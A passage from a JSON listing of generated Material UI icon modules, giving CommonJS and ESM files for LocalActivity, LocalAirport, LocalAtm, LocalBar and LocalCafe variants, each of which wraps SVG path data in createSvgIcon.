    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-1.1.9-2 2-2V4H2.01v6c1.1 0 1.99.9 1.99 2s-.89 2-2 2v6h20v-6c-1.1 0-2-.9-2-2m-4.42 4.8L12 14.5l-3.58 2.3 1.08-4.12-3.29-2.69 4.24-.25L12 5.8l1.54 3.95 4.24.25-3.29 2.69z\"\n}), 'LocalActivitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivitySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-1.1.9-2 2-2V4H2.01v6c1.1 0 1.99.9 1.99 2s-.89 2-2 2v6h20v-6c-1.1 0-2-.9-2-2m-4.42 4.8L12 14.5l-3.58 2.3 1.08-4.12-3.29-2.69 4.24-.25L12 5.8l1.54 3.95 4.24.25-3.29 2.69z\"\n}), 'LocalActivitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.01 8.54C5.2 9.23 6 10.52 6 12s-.81 2.77-2 3.46V18h16v-2.54c-1.19-.69-2-1.99-2-3.46s.81-2.77 2-3.46V6H4zm6.72 1.68L12 7l1.26 3.23 3.47.2-2.69 2.2.89 3.37L12 14.12 9.07 16l.88-3.37-2.69-2.2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2V6c0-1.1-.9-2-2-2m0 4.54c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM9.07 16 12 14.12 14.93 16l-.89-3.36 2.69-2.2-3.47-.21L12 7l-1.27 3.22-3.47.21 2.69 2.2z\"\n}, \"1\")], 'LocalActivityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.01 8.54C5.2 9.23 6 10.52 6 12s-.81 2.77-2 3.46V18h16v-2.54c-1.19-.69-2-1.99-2-3.46s.81-2.77 2-3.46V6H4zm6.72 1.68L12 7l1.26 3.23 3.47.2-2.69 2.2.89 3.37L12 14.12 9.07 16l.88-3.37-2.69-2.2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2V6c0-1.1-.9-2-2-2m0 4.54c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM9.07 16 12 14.12 14.93 16l-.89-3.36 2.69-2.2-3.47-.21L12 7l-1.27 3.22-3.47.21 2.69 2.2z\"\n}, \"1\")], 'LocalActivityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirport.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'LocalAirport');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirport.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'LocalAirport');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirportOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'LocalAirportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirportOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'LocalAirportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirportRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.48 13.7 13.5 9V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9l-7.98 4.7c-.32.18-.52.53-.52.9 0 .7.67 1.2 1.34 1.01l7.16-2.1V19l-2.26 1.35c-.15.09-.24.26-.24.43v.58c0 .33.31.57.62.49l2.92-.73L12 21l.38.09.42.11 1.9.48.67.17c.32.08.62-.16.62-.49v-.58c0-.18-.09-.34-.24-.43L13.5 19v-5.5l7.16 2.1c.67.2 1.34-.3 1.34-1 0-.37-.2-.72-.52-.9\"\n}), 'LocalAirportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirportRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.48 13.7 13.5 9V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9l-7.98 4.7c-.32.18-.52.53-.52.9 0 .7.67 1.2 1.34 1.01l7.16-2.1V19l-2.26 1.35c-.15.09-.24.26-.24.43v.58c0 .33.31.57.62.49l2.92-.73L12 21l.38.09.42.11 1.9.48.67.17c.32.08.62-.16.62-.49v-.58c0-.18-.09-.34-.24-.43L13.5 19v-5.5l7.16 2.1c.67.2 1.34-.3 1.34-1 0-.37-.2-.72-.52-.9\"\n}), 'LocalAirportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirportSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'LocalAirportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirportSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'LocalAirportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirportTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'LocalAirportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAirportTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'LocalAirportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtm.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4V8h-2V7h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2zm9-13H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}), 'LocalAtm');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtm.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4V8h-2V7h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2zm9-13H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}), 'LocalAtm');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtmOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4V8h-2V7h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2zm9-13H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}), 'LocalAtmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtmOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4V8h-2V7h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2zm9-13H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}), 'LocalAtmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtmRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 13c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h14c.55 0 1 .45 1 1zm-6-7c.55 0 1-.45 1-1s-.45-1-1-1h-1v-.01c0-.55-.45-1-1-1s-1 .45-1 1V8h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1h-3c-.55 0-1 .45-1 1s.45 1 1 1h1c0 .55.45 1 1 1s1-.45 1-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1z\"\n}), 'LocalAtmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtmRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 13c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h14c.55 0 1 .45 1 1zm-6-7c.55 0 1-.45 1-1s-.45-1-1-1h-1v-.01c0-.55-.45-1-1-1s-1 .45-1 1V8h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1h-3c-.55 0-1 .45-1 1s.45 1 1 1h1c0 .55.45 1 1 1s1-.45 1-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1z\"\n}), 'LocalAtmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtmSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h2v-1h2v-5h-4v-1h4V8h-2V7h-2v1H9v5h4v1H9v2h2zM22 4H2.01L2 20h20zm-2 14H4V6h16z\"\n}), 'LocalAtmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtmSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h2v-1h2v-5h-4v-1h4V8h-2V7h-2v1H9v5h4v1H9v2h2zM22 4H2.01L2 20h20zm-2 14H4V6h16z\"\n}), 'LocalAtmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtmTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zm5-4h4v-1h-3c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1V7h2v1h2v2h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16zm-9-1h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4V8h-2V7h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2z\"\n}, \"1\")], 'LocalAtmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalAtmTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm5-4h4v-1h-3c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1V7h2v1h2v2h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16zm-9-1h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4V8h-2V7h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2z\"\n}, \"1\")], 'LocalAtmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5V3H3v2l8 9v5H6v2h12v-2h-5v-5zM7.43 7 5.66 5h12.69l-1.78 2z\"\n}), 'LocalBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5V3H3v2l8 9v5H6v2h12v-2h-5v-5zM7.43 7 5.66 5h12.69l-1.78 2z\"\n}), 'LocalBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.77 9 12 12.11 9.23 9zM21 3H3v2l8 9v5H6v2h12v-2h-5v-5l8-9zM7.43 7 5.66 5h12.69l-1.78 2z\"\n}), 'LocalBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.77 9 12 12.11 9.23 9zM21 3H3v2l8 9v5H6v2h12v-2h-5v-5l8-9zM7.43 7 5.66 5h12.69l-1.78 2z\"\n}), 'LocalBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4.45c0-.8-.65-1.45-1.45-1.45H4.45C3.65 3 3 3.65 3 4.45c0 .35.13.7.37.96L11 14v5H7c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1h-4v-5l7.63-8.59c.24-.26.37-.61.37-.96M7.43 7 5.66 5h12.69l-1.78 2z\"\n}), 'LocalBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4.45c0-.8-.65-1.45-1.45-1.45H4.45C3.65 3 3 3.65 3 4.45c0 .35.13.7.37.96L11 14v5H7c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1h-4v-5l7.63-8.59c.24-.26.37-.61.37-.96M7.43 7 5.66 5h12.69l-1.78 2z\"\n}), 'LocalBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5V3H3v2l8 9v5H6v2h12v-2h-5v-5zM7.43 7 5.66 5h12.69l-1.78 2z\"\n}), 'LocalBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5V3H3v2l8 9v5H6v2h12v-2h-5v-5zM7.43 7 5.66 5h12.69l-1.78 2z\"\n}), 'LocalBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.23 9 12 12.11 14.77 9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5V3H3v2l8 9v5H6v2h12v-2h-5v-5zM5.66 5h12.69l-1.78 2H7.43zM12 12.11 9.23 9h5.54z\"\n}, \"1\")], 'LocalBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalBarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.23 9 12 12.11 14.77 9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5V3H3v2l8 9v5H6v2h12v-2h-5v-5zM5.66 5h12.69l-1.78 2H7.43zM12 12.11 9.23 9h5.54z\"\n}, \"1\")], 'LocalBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafe.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m0 5h-2V5h2zM4 19h16v2H4z\"\n}), 'LocalCafe');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafe.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m0 5h-2V5h2zM4 19h16v2H4z\"\n}), 'LocalCafe');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafeOutlined.js",
